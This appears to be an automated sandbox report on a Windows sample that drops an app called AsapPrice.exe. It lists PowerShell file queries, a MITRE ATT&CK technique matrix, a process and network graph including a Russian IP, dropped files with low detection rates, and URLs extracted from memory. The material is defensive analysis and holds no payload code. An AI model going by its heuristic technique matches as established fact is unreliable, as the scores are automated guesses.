Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure.CimCmdlets\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.CimCmdlets.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\cmd.exeQueries volume information: C:\ VolumeInformationJump to behavior

Mitre Att&ck Matrix

ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
Gather Victim Identity InformationAcquire InfrastructureValid Accounts1
Windows Management Instrumentation		1
DLL Side-Loading		12
Process Injection		1
Masquerading		11
Input Capture		21
Security Software Discovery		Remote Services11
Input Capture		1
Encrypted Channel		Exfiltration Over Other Network MediumAbuse Accessibility Features
CredentialsDomainsDefault Accounts1
Command and Scripting Interpreter		Boot or Logon Initialization Scripts1
DLL Side-Loading		41
Virtualization/Sandbox Evasion		LSASS Memory2
Process Discovery		Remote Desktop ProtocolData from Removable Media1
Ingress Tool Transfer		Exfiltration Over BluetoothNetwork Denial of Service
Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)Logon Script (Windows)12
Process Injection		Security Account Manager41
Virtualization/Sandbox Evasion		SMB/Windows Admin SharesData from Network Shared Drive3
Non-Application Layer Protocol		Automated ExfiltrationData Encrypted for Impact
Employee NamesVirtual Private ServerLocal AccountsCronLogin HookLogin Hook1
DLL Side-Loading		NTDS1
Application Window Discovery		Distributed Component Object ModelInput Capture4
Application Layer Protocol		Traffic DuplicationData Destruction
Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon ScriptSoftware PackingLSA Secrets1
Remote System Discovery		SSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact
Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC ScriptsSteganographyCached Domain Credentials2
File and Directory Discovery		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup ItemsCompile After DeliveryDCSync32
System Information Discovery		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery

Behavior Graph

Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1590542 Sample: LN1lgDlZ8e.exe Startdate: 14/01/2025 Architecture: WINDOWS Score: 48 47 www.google.com 2->47 8 LN1lgDlZ8e.exe 179 2->8         started        process3 file4 39 C:\Users\user\AppData\Local\...\nsis7z.dll, PE32 8->39 dropped 41 C:\Users\user\AppData\Local\...\System.dll, PE32 8->41 dropped 43 C:\Users\user\AppData\Local\...\vulkan-1.dll, PE32+ 8->43 dropped 45 14 other files (none is malicious) 8->45 dropped 55 Drops large PE files 8->55 12 AsapPrice.exe 4 8->12         started        signatures5 process6 dnsIp7 51 91.184.243.198, 49719, 80 IPNET-RUSSIA-ASRU Russian Federation 12->51 53 www.google.com 142.250.181.228, 443, 49713 GOOGLEUS United States 12->53 15 powershell.exe 35 12->15         started        18 powershell.exe 12->18         started        20 powershell.exe 12->20         started        22 22 other processes 12->22 process8 dnsIp9 57 Loading BitLocker PowerShell Module 15->57 25 conhost.exe 15->25         started        27 conhost.exe 18->27         started        29 conhost.exe 20->29         started        49 chrome.cloudflare-dns.com 172.64.41.3, 443, 49717 CLOUDFLARENETUS United States 22->49 31 conhost.exe 22->31         started        33 conhost.exe 22->33         started        35 conhost.exe 22->35         started        37 19 other processes 22->37 signatures10 process11

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.


windows-stand

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

SourceDetectionScannerLabelLink
LN1lgDlZ8e.exe1%VirustotalBrowse
LN1lgDlZ8e.exe0%ReversingLabs

Dropped Files

SourceDetectionScannerLabelLink
C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exe0%ReversingLabs
C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\d3dcompiler_47.dll0%ReversingLabs
C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\ffmpeg.dll0%ReversingLabs
C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\libEGL.dll0%ReversingLabs
C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\libGLESv2.dll0%ReversingLabs
C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\vk_swiftshader.dll0%ReversingLabs
C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\vulkan-1.dll0%ReversingLabs
C:\Users\user\AppData\Local\Temp\nsy695B.tmp\7z-out\AsapPrice.exe0%ReversingLabs
C:\Users\user\AppData\Local\Temp\nsy695B.tmp\7z-out\d3dcompiler_47.dll0%ReversingLabs
C:\Users\user\AppData\Local\Temp\nsy695B.tmp\7z-out\ffmpeg.dll0%ReversingLabs
C:\Users\user\AppData\Local\Temp\nsy695B.tmp\7z-out\libEGL.dll0%ReversingLabs
C:\Users\user\AppData\Local\Temp\nsy695B.tmp\7z-out\libGLESv2.dll0%ReversingLabs
C:\Users\user\AppData\Local\Temp\nsy695B.tmp\7z-out\resources\elevate.exe0%ReversingLabs
C:\Users\user\AppData\Local\Temp\nsy695B.tmp\7z-out\vk_swiftshader.dll0%ReversingLabs
C:\Users\user\AppData\Local\Temp\nsy695B.tmp\7z-out\vulkan-1.dll0%ReversingLabs
C:\Users\user\AppData\Local\Temp\nsy695B.tmp\System.dll0%ReversingLabs
C:\Users\user\AppData\Local\Temp\nsy695B.tmp\nsis7z.dll0%ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

SourceDetectionScannerLabelLink
https://crbug.com/dawn/5370%Avira URL Cloudsafe
https://crbug.com/dawn/12760%Avira URL Cloudsafe
https://bugs.chromium.org/p/dawn/issues/detail?id=434timestamp-querySupport0%Avira URL Cloudsafe

Domains and IPs

Contacted Domains

NameIPActiveMaliciousAntivirus DetectionReputation
chrome.cloudflare-dns.com
172.64.41.3
truefalse
    		high
    www.google.com
    		142.250.181.228
    		truefalse
      		high

      URLs from Memory and Binaries

      NameSourceMaliciousAntivirus DetectionReputation
      https://mx.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpfalse
        		high
        https://uk.search.yahoo.com/favicon.icohttps://uk.search.yahoo.com/searchAsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpfalse
          		high
          https://fr.search.yahoo.com/favicon.icoAsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpfalse
            		high
            https://search.seznam.sk/favicon.icoAsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpfalse
              		high
              https://doh.familyshield.opendns.com/dns-queryAsapPrice.exe, 00000003.00000000.1676780335.00007FF7A435D000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A435D000.00000002.00000001.01000000.00000008.sdmpfalse
                		high
                https://crbug.com/newAsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4815000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4815000.00000002.00000001.01000000.00000008.sdmpfalse
                  		high
                  https://hk.search.yahoo.com/searchAsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpfalse
                    		high
                    https://yastatic.net/lego/_/rBTjd6UOPk5913OSn5ZQVYMTQWQ.icoAsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpfalse
                      		high
                      https://crbug.com/dawn/402AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4815000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4815000.00000002.00000001.01000000.00000008.sdmpfalse
                        		high
                        https://crbug.com/dawn/1393AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4815000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4815000.00000002.00000001.01000000.00000008.sdmpfalse
                          		high
                          http://i.wp.pl/a/i/stg/500/favicon.icohttp://szukaj.wp.pl/szukaj.html?q=AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpfalse
                            		high
                            https://crbug.com/dawn/1276AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4815000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4815000.00000002.00000001.01000000.00000008.sdmpfalse
                            • Avira URL Cloud: safe
                            		unknown
                            https://crbug.com/1338622.AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4815000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4815000.00000002.00000001.01000000.00000008.sdmpfalse
                              		high
                              https://dns11.quad9.net/dns-queryAsapPrice.exe, 00000003.00000000.1676780335.00007FF7A435D000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A435D000.00000002.00000001.01000000.00000008.sdmpfalse
                                		high
                                https://crbug.com/1214923AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4815000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4815000.00000002.00000001.01000000.00000008.sdmpfalse
                                  		high
                                  https://suggestplugin.gmx.co.uk/s?q=AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpfalse
                                    		high
                                    https://ca.search.yahoo.com/favicon.icoAsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpfalse
                                      		high
                                      https://developers.cloudflare.com/1.1.1.1/privacy/public-dns-resolver/AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A435D000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A435D000.00000002.00000001.01000000.00000008.sdmpfalse
                                        		high
                                        http://www.walla.co.il/favicon.icohttp://search.walla.co.il/?q=AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpfalse
                                          		high
                                          https://www.givero.com/suggest?q=AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpfalse
                                            		high
                                            http://www.neti.ee/favicon.icohttp://www.neti.ee/cgi-bin/otsing?query=AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpfalse
                                              		high
                                              https://crbug.com/dawn/776AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4815000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4815000.00000002.00000001.01000000.00000008.sdmpfalse
                                                		high
                                                https://yandex.com.tr/gorsel/search?rpt=imageviewhttps://www.yandex.com.tr/chrome/newtabAsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpfalse
                                                  		high
                                                  https://crbug.com/dawn/1289AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4815000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4815000.00000002.00000001.01000000.00000008.sdmpfalse
                                                    		high
                                                    https://www.so.com/favicon.icoAsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4887000.00000002.00000001.01000000.00000008.sdmpfalse
                                                      		high
                                                      https://crbug.com/dawn/537AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A4815000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4815000.00000002.00000001.01000000.00000008.sdmpfalse
                                                      • Avira URL Cloud: safe
                                                      		unknown
